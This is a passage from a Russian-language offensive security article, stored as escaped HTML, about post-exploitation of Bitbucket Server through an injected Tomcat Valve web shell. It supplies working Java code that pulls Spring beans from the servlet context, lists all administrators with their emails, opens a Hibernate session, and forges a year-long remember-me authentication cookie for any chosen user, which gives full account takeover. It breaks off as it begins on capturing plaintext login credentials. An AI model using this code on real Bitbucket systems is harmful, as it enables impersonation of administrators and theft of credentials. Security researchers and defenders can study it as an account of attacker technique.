\u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0438\u0437 \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u043e\u0432 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0430 ServletContext. \u0418\u043c\u044f \u044d\u0442\u043e\u0433\u043e \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u0430 \u043c\u043e\u0436\u043d\u043e \u0443\u0437\u043d\u0430\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c:<\/p>\n<ul>\n<li>\n<p>\u0414\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u044f Bitbucket   <\/p>\n<\/li>\n<li>\n<p>\u041e\u0442\u043b\u0430\u0436\u0438\u0432\u0430\u044f Bitbucket   <\/p>\n<\/li>\n<li>\n<p>\u041f\u0440\u043e\u0441\u0442\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u044f \u0432\u0441\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u044b \u044d\u0442\u043e\u0433\u043e \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0430 SpringContext   <\/p>\n<\/li>\n<\/ul>\n<p>\u0414\u0430\u043b\u0435\u0435 \u043c\u043e\u0436\u043d\u043e \u0438\u0437\u0432\u043b\u0435\u0447\u044c \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440 WebApplicationContext:<\/p>\n<pre><code class=\"java\">String SPRING_ATTR = \"org.springframework.web.context.WebApplicationContext:Bitbucket\"; ServletContext svlCtx = \/* lookup() *\/; WebApplicationContext ctx = svlCtx.getAttribute(SPRING_ATTR);<\/code><\/pre>\n<p>\u041d\u0430\u043a\u043e\u043d\u0435\u0446, \u043c\u043e\u0436\u043d\u043e \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u044b Bitbucket, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f Bean \u0432 Spring, \u0438\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u0441\u0430\u043c\u043e\u0433\u043e Bitbucket:<\/p>\n<pre><code class=\"java\">WebApplicationContext ctx = svlCtx.getAttribute(SPRING_ATTR); SampleService sampleService = (SampleService) ctx.getBean(\"sampleService\"); String sampleBitbucketPropertyValue = ctx.getEnvironment().getProperty(\"some-property\");<\/code><\/pre>\n<p><strong>\u0412\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u0441 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u043c\u0438 Bitbucket<\/strong><\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c, \u043a\u043e\u0433\u0434\u0430 \u0443 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c \u0443\u0434\u043e\u0431\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0435\u0439 Bitbucket, \u0432\u044b\u0437\u044b\u0432\u0430\u044f \u0435\u0433\u043e \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u044b, \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0438\u0441\u043a\u0430\u0442\u044c \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438. \u042d\u0442\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0437\u0430\u0442\u0435\u043c \u0431\u0443\u0434\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0432 \u0432\u0435\u0431-\u0448\u0435\u043b\u043b\u0435.<\/p>\n<p>\u0427\u0442\u043e \u043a\u0430\u0441\u0430\u0435\u0442\u0441\u044f \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u043e\u0432 SpringContext, \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0442\u0435\u043a \u0432\u044b\u0437\u043e\u0432\u043e\u0432, \u043f\u043e\u0434\u0446\u0435\u043f\u0438\u0432\u0448\u0438\u0441\u044c \u043e\u0442\u043b\u0430\u0434\u0447\u0438\u043a\u043e\u043c \u043a Bitbucket \u0438 \u0434\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c JAR-\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438. \u0417\u0434\u0435\u0441\u044c \u044d\u0442\u043e \u043d\u0435 \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f.<\/p>\n<p>\u0421\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 JAR-\u0444\u0430\u0439\u043b\u044b \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0438\u043d\u0442\u0435\u0440\u0435\u0441:<\/p>\n<ul>\n<li>\n<p>\u041e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f API (\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u044b), \u0432 JAR-\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430\u0445, \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u043f\u0430\u0442\u0442\u0435\u0440\u043d\u0443 \u0438\u043c\u0435\u043d bitbucket-[feature]-api-[version].jar   <\/p>\n<\/li>\n<li>\n<p>\u0420\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 API, \u0432 JAR-\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430\u0445, \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u043f\u0430\u0442\u0442\u0435\u0440\u043d\u0443 \u0438\u043c\u0435\u043d bitbucket-[feature]-impl-[version].jar   <\/p>\n<\/li>\n<\/ul>\n<p>\u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e API \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d \u043d\u0430 \u0441\u0430\u0439\u0442\u0435 <a href=\"https:\/\/docs.atlassian.com\/bitbucket-server\/javadoc\/7.21.0\/api\/\" rel=\"noopener noreferrer nofollow\">Atlassian Docs<\/a>.<\/p>\n<p><a href=\"https:\/\/docs.spring.io\/spring-framework\/docs\/current\/javadoc-api\/org\/springframework\/stereotype\/Service.html\" rel=\"noopener noreferrer nofollow\">\u0410\u043d\u043d\u043e\u0442\u0430\u0446\u0438\u044f \u043a\u043b\u0430\u0441\u0441\u0430 Spring<\/a> @Service(&#171;[name]&#187;) \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0438\u043c\u0435\u043d\u0438, \u043f\u0440\u0438\u0441\u0432\u043e\u0435\u043d\u043d\u043e\u043c\u0443 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0443 Bitbucket (\u0442.\u0435. Spring Bean), \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0438\u0437 WebApplicationContext   <\/p>\n<p>\u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, DefaultUserService, \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u044e\u0449\u0438\u0439 UserService, \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f Bean \u0441 \u0438\u043c\u0435\u043d\u0435\u043c userService:<\/p>\n<pre><code class=\"java\">\/\/ [...] @DependsOn({\"createSystemUserUpgradeTask\"}) @AvailableToPlugins(interfaces = {UserService.class, DmzUserService.class}) @Service(\"userService\") \/* loaded from: bitbucket-service-impl-7.21.0.jar:com\/atlassian\/stash\/internal\/user\/DefaultUserService.class *\/ public class DefaultUserService extends AbstractService implements InternalUserService {   \/\/ [...]   private final ApplicationUserDao userDao;   private final UserHelper userHelper;   @Value(\"${page.max.groups}\")   private int maxGroupPageSize;   @Value(\"${page.max.users}\")   private int maxUserPageSize;    @Autowired   public DefaultUserService(@Lazy InternalAvatarService avatarService, InternalAuthenticationContext authenticationContext, CacheFactory cacheFactory, CrowdControl crowdControl, EventPublisher eventPublisher, I18nService i18nService, PasswordResetHelper passwordResetHelper, @Lazy InternalPermissionService permissionService, ApplicationUserDao userDao, UserHelper userHelper, @Value(\"${auth.remote.cache.cacheSize}\") int cacheSize, @Value(\"${auth.remote.cache.ttl}\") int cacheTtl, @Value(\"${auth.remote.enabled}\") boolean checkRemoteDirectory) {     \/\/ [...]   }    @PreAuthorize(\"hasUserPermission(#user, 'USER_ADMIN')\")   public void deleteAvatar(@Nonnull ApplicationUser user) {     this.avatarService.deleteForUser((ApplicationUser) Objects.requireNonNull(user, \"user\"));   }   \/\/ [...] }<\/code><\/pre>\n<p>\u041a\u043e\u0442\u043e\u0440\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0438\u0437 \u043d\u0430\u0448\u0435\u0433\u043e \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c:<\/p>\n<pre><code class=\"java\">WebApplicationContext ctx = svlCtx.getAttribute(SPRING_ATTR); UserService userService = (UserService) ctx.getBean(\"userService\");<\/code><\/pre>\n<p><strong>\u041f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u0438\u0435 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432<\/strong><\/p>\n<p>\u041f\u0435\u0440\u0432\u044b\u0439 \u0448\u0430\u0433 \u0432 \u043f\u043e\u0441\u0442-\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u2014 \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0430. \u0412 \u0442\u0435\u043a\u0443\u0449\u0435\u043c \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u043f\u043e\u043b\u0435\u0437\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e\u0431\u043e \u0432\u0441\u0435\u0445 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u0445 Bitbucket. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c PermissionService, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u0435\u0442\u0430\u043b\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043e\u0431\u043b\u0430\u0434\u0430\u044e\u0449\u0438\u0445 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438:<\/p>\n<pre><code class=\"java\">\/\/ ctx from current request intercepted by CustomValve WebApplicationContext ctx = (WebApplicationContext) request.getServletContext()   .getAttribute(SPRING_ATTR);  HashMap&lt;String, Object&gt; result = new HashMap&lt;&gt;(); PermissionService permissionService = (PermissionService) ctx.getBean(\"permissionService\"); for(Permission perm : new Permission[]{ Permission.ADMIN, Permission.SYS_ADMIN}) {   Page&lt;ApplicationUser&gt; admins = permissionService.getGrantedUsers(perm, new PageRequestImpl(0, 100));   for(ApplicationUser user : admins.getValues()) {     HashMap&lt;String, Object&gt; entry = new HashMap&lt;&gt;();     entry.put(\"user_id\", user.getId());     entry.put(\"user_name\", user.getDisplayName());     entry.put(\"user_slug\", user.getSlug());     entry.put(\"user_type\", user.getType().name());     entry.put(\"user_enabled\", Boolean.toString(user.isActive()));     entry.put(\"user_email\", user.getEmailAddress());     entry.put(\"permission\", perm.name());     result.put(Integer.toString(user.getId()), entry);   } }<\/code><\/pre>\n<p>\u041e\u0434\u043d\u0430\u043a\u043e, \u0435\u0441\u043b\u0438 \u044d\u0442\u043e\u0442 \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442 \u043a\u043e\u0434\u0430 \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u043a\u0430\u043a \u0435\u0441\u0442\u044c \u0438\u0437 \u043d\u0430\u0448\u0435\u0433\u043e \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430 (\u0442.\u0435. \u0438\u0437 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0432 \u043d\u0430\u0448\u0435\u043c \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u043c Valve), \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u0431\u0440\u043e\u0448\u0435\u043d\u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435:<\/p>\n<pre><code>org.hibernate.HibernateException: Could not obtain transaction-synchronized Session for current thread<\/code><\/pre>\n<p>\u0412 Bitbucket, Spring Framework \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 Hibernate \u043f\u043e\u0434 \u043a\u0430\u043f\u043e\u0442\u043e\u043c. \u0412 \u043d\u0430\u0448\u0435\u043c \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u0441\u0435\u0441\u0441\u0438\u044f \u0435\u0449\u0435 \u043d\u0435 \u043e\u0442\u043a\u0440\u044b\u0442\u0430, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432\u0441\u0435 \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043a \u0431\u0430\u0437\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u0431\u0443\u0434\u0443\u0442 \u0437\u0430\u0432\u0435\u0440\u0448\u0430\u0442\u044c\u0441\u044f \u043d\u0435\u0443\u0434\u0430\u0447\u0435\u0439. \u041f\u0443\u0442\u0435\u043c \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f OpenSessionInViewFilter \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c SessionFactoryUtils, \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043d\u043e\u0432\u0443\u044e \u0441\u0435\u0441\u0441\u0438\u044e \u0434\u043b\u044f \u043d\u0430\u0448\u0435\u0433\u043e \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430:<\/p>\n<pre><code class=\"java\">import org.hibernate.FlushMode; import org.hibernate.Session; import org.hibernate.SessionFactory; import org.springframework.orm.hibernate5.SessionFactoryUtils; import org.springframework.orm.hibernate5.SessionHolder; import org.springframework.transaction.support.TransactionSynchronizationManager; import org.springframework.web.context.WebApplicationContext;  import java.io.Closeable;  public class HibernateSessionCloseable implements Closeable {   private final SessionFactory factory;   private final Session session;   public HibernateSessionCloseable(WebApplicationContext webCtx) {     this.factory = (SessionFactory) webCtx.getBean(\"sessionFactory\");     this.session = factory.openSession();     session.setHibernateFlushMode(FlushMode.MANUAL);     SessionHolder holder = new SessionHolder(session);     TransactionSynchronizationManager.bindResource(factory, holder);   }    @Override   public void close() {     session.flush();     TransactionSynchronizationManager.unbindResource(factory);     SessionFactoryUtils.closeSession(session);   } }<\/code><\/pre>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c, \u0447\u0442\u043e\u0431\u044b \u044d\u0442\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c, \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u043d\u043e\u0432\u044b\u0439 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440 HibernateSessionCloseable:<\/p>\n<pre><code class=\"java\">\/\/ ctx from current request intercepted by CustomValve WebApplicationContext ctx = (WebApplicationContext) request.getServletContext()   .getAttribute(SPRING_ATTR);  HashMap&lt;String, Object&gt; result = new HashMap&lt;&gt;(); try (HibernateSessionCloseable ignored = new HibernateSessionCloseable(ctx)) {   PermissionService permissionService = (PermissionService) ctx.getBean(\"permissionService\");   for(Permission perm : new Permission[]{ Permission.ADMIN, Permission.SYS_ADMIN}) {     Page&lt;ApplicationUser&gt; admins = permissionService.getGrantedUsers(perm, new PageRequestImpl(0, 100));     for(ApplicationUser user : admins.getValues()) {       \/\/ [...]     }   } }<\/code><\/pre>\n<p><strong>\u0413\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 cookies<\/strong><\/p>\n<p>\u0415\u0449\u0435 \u043e\u0434\u043d\u043e\u0439 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0435\u0439 \u0434\u043b\u044f \u0432\u0435\u0431-\u0448\u0435\u043b\u043b\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u0435\u0441\u0441\u0438\u0439 \u0434\u043b\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f Bitbucket. Bitbucket, \u043a\u0430\u043a \u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, <a href=\"https:\/\/docs.spring.io\/spring-security\/reference\/servlet\/authentication\/rememberme.html\" rel=\"noopener noreferrer nofollow\">Spring Remember-Me Authentication<\/a>), \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043c\u0435\u0442\u043e\u0434 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 cookies. \u042d\u0442\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0430 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e (\u043e\u043f\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0434\u043b\u044f <a href=\"https:\/\/confluence.atlassian.com\/bitbucketserver\/configuration-properties-776640155.html\" rel=\"noopener noreferrer nofollow\">\u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430 <\/a>Bitbucket auth.remember-me.enabled) \u0438 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 cookie.<\/p>\n<p>\u042d\u0442\u043e\u0442 \u0441\u0435\u0440\u0432\u0438\u0441 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d \u043a\u043b\u0430\u0441\u0441\u043e\u043c DefaultRememberMeService:<\/p>\n<pre><code class=\"java\">\/\/ [...] @Service(\"rememberMeService\") @AvailableToPlugins(RememberMeService.class) \/* loaded from: bitbucket-service-impl-7.21.0.jar:com\/atlassian\/stash\/internal\/auth\/DefaultRememberMeService.class *\/ public class DefaultRememberMeService implements InternalRememberMeService, RememberMeService {   \/\/ [...]   private final AuthenticationContext authenticationContext;   private final RememberMeTokenDao dao;   private final SecureTokenGenerator tokenGenerator;   private final UserService userService;   \/\/ [...]   public void createCookie(@Nonnull HttpServletRequest request, @Nonnull HttpServletResponse response) {     ApplicationUser user = this.authenticationContext.getCurrentUser();     Objects.requireNonNull(user);     doCreateCookie(user, request, response, false);   }   \/\/ [...]   @VisibleForTesting   protected String encodeCookie(String... cookieTokens) {     String joined = StringUtils.join(cookieTokens, \":\");     String encoded = new String(Base64.encodeBase64(joined.getBytes()));     return StringUtils.stripEnd(encoded, \"=\");   }   \/\/ [...]   private void doCreateCookie(@Nonnull ApplicationUser user, @Nonnull HttpServletRequest request,        @Nonnull HttpServletResponse response, boolean shouldThrowIfCookiePresent) {     Cookie cookie = getCookie(request);     if (cookie != null) {       if (shouldThrowIfCookiePresent) {         cancelCookie(request, response);         InternalRememberMeToken token = toToken(cookie);         throw new IllegalStateException(\"A remember-me cookie for series '+\"            + (token != null ? token.getSeries() : \"invalid\")            + \"' is already present. Cannot provide a remember-me cookie for a new series. Canceling the existing cookie\");       }       logout(request, response);     }     InternalRememberMeToken token2 = (InternalRememberMeToken) this.dao.create(       new InternalRememberMeToken.Builder()         .series(this.tokenGenerator.generateToken())         .token(this.tokenGenerator.generateToken())         .user(InternalConverter.convertToInternalUser(user))         .expiresAfter(this.expirySeconds, TimeUnit.SECONDS).build());     setCookie(request, response, token2);     log.debug(\"Created new remember-me series '{}' for user '{}'\", token2.getSeries(), user.getName());   }   \/\/ [...] }<\/code><\/pre>\n<p>\u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u044d\u0442\u043e\u0442 \u0441\u0435\u0440\u0432\u0438\u0441 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c cookie \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u0431\u0443\u0434\u0435\u0442 \u0441\u043e\u0437\u0434\u0430\u0442\u044c cookie, \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u044f \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u043e\u0433\u043e \u043c\u0435\u0442\u043e\u0434\u0430 doCreateCookie:<\/p>\n<pre><code class=\"java\">HashMap&lt;String, Object&gt; result = new HashMap&lt;&gt;(); int userId = (int) args.get(\"target_user_id\"); try (HibernateSessionCloseable ignored = new HibernateSessionCloseable(ctx)) {   \/\/lookup user   UserService userService = (UserService) ctx.getBean(\"userService\");   ApplicationUser user;   try {     user = userService.getUserById(userId);   } catch (Exception e) {     return;   }   if (user == null) return;   \/\/generate an auto-login cookie for this user   RememberMeTokenDao rmeDao = (RememberMeTokenDao) ctx.getBean(\"rememberMeTokenDao\");   SecureTokenGenerator tokenGenerator = (SecureTokenGenerator) ctx.getBean(\"tokenGenerator\");   InternalRememberMeToken token = rmeDao.create(     new InternalRememberMeToken.Builder()       .series(tokenGenerator.generateToken())       .token(tokenGenerator.generateToken())       .user(InternalConverter.convertToInternalUser(user))       .expiresAfter(TimeUnit.DAYS.toSeconds(365), TimeUnit.SECONDS)       .build()   );   String joined = StringUtils.join(Arrays.asList(token.getSeries(), token.getToken()), ':');   result.put(\"cookie_name\", ctx.getEnvironment().getProperty(\"auth.remember-me.cookie.name\"));   result.put(\"cookie_value\", Base64Utils.encodeToUrlSafeString(joined.getBytes())); }<\/code><\/pre>\n<p>\u042d\u0442\u0430 cookie \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044f \u043f\u043e\u043b\u043d\u044b\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0432 Bitbucket \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430.<\/p>\n<p><strong>\u041f\u0435\u0440\u0435\u0445\u0432\u0430\u0442 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445<\/strong><\/p>\n<p>\u041f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0435\u0439 \u0432\u0435\u0431-\u0448\u0435\u043b\u043b\u0430 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u0444\u043e\u0440\u043c\u044b \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0445 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u043c\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0432\u0438\u0434\u0435, \u0442\u0430\u043a \u043a\u0430\u043a \u044d\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043f\u043e\u043b\u0435\u0437\u043d\u043e \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0434\u0440\u0443\u0433\u0438\u043c \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u0440\u0435\u0441\u0443\u0440\u0441\u0430\u043c. \u0411\u043e\u043b\u0435\u0435 \u0442\u043e\u0433\u043e, \u043d\u0430 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0430\u0445 Bitbucket \u043e\u0431\u044b\u0447\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f LDAP \u0434\u043b\u044f 